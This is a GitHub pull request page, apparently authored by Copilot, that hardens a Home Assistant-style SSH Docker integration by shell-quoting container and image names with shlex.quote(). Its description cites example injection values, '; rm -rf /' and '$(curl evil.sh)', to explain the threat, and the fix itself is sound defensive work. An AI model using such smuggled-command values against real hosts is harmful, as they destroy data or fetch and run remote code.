fix: quote container/image names in SSH shell commands to prevent injection#59
Merged
Merged
Conversation
Agent-Logs-Url: https://github.com/gensyn/ssh_docker/sessions/0eea6f78-199c-45de-9c4b-56bb28e75aca Co-authored-by: gensyn <36128035+gensyn@users.noreply.github.com>
Copilot created this pull request from a session on behalf of
gensyn
May 13, 2026 17:55
View session
There was a problem hiding this comment.
Pull request overview
This PR hardens SSH-executed Docker shell commands against command injection by shell-quoting container and image identifiers that can originate from remote docker output.
Changes:
- Quote container names used in
docker inspect,docker logs,docker restart,docker stop, anddocker stop; docker rmcommand strings. - Quote image names used in
docker pullanddocker image inspectcommand strings. - Quote container names passed to
docker_createin bothcreateand_auto_recreate.
💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
Comment on lines
278
to
281
| info_cmd = ( | ||
| f"{docker_cmd} inspect {service}" | ||
| f"{docker_cmd} inspect {shlex.quote(service)}" | ||
| f" --format '{{{{.State.Status}}}};{{{{.Created}}}};{{{{.Config.Image}}}};{{{{.Image}}}}'" | ||
| ) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Container and image names were interpolated directly into SSH shell command strings without quoting. Since names can originate from remote
docker psoutput, a maliciously named container (e.g.; rm -rf /or$(curl evil.sh)) would execute arbitrary commands as the SSH user.Changes
shlex.quote()acrosscoordinator.py:docker inspect,docker pull,docker image inspect— in_async_fetch_datadocker logs— inget_logsdocker restart— inrestartdocker stop— instopdocker stop … rm— inremovedocker_create <name>— in bothcreateand_auto_recreateexecute_commandalready usedshlex.quote()and was not changed.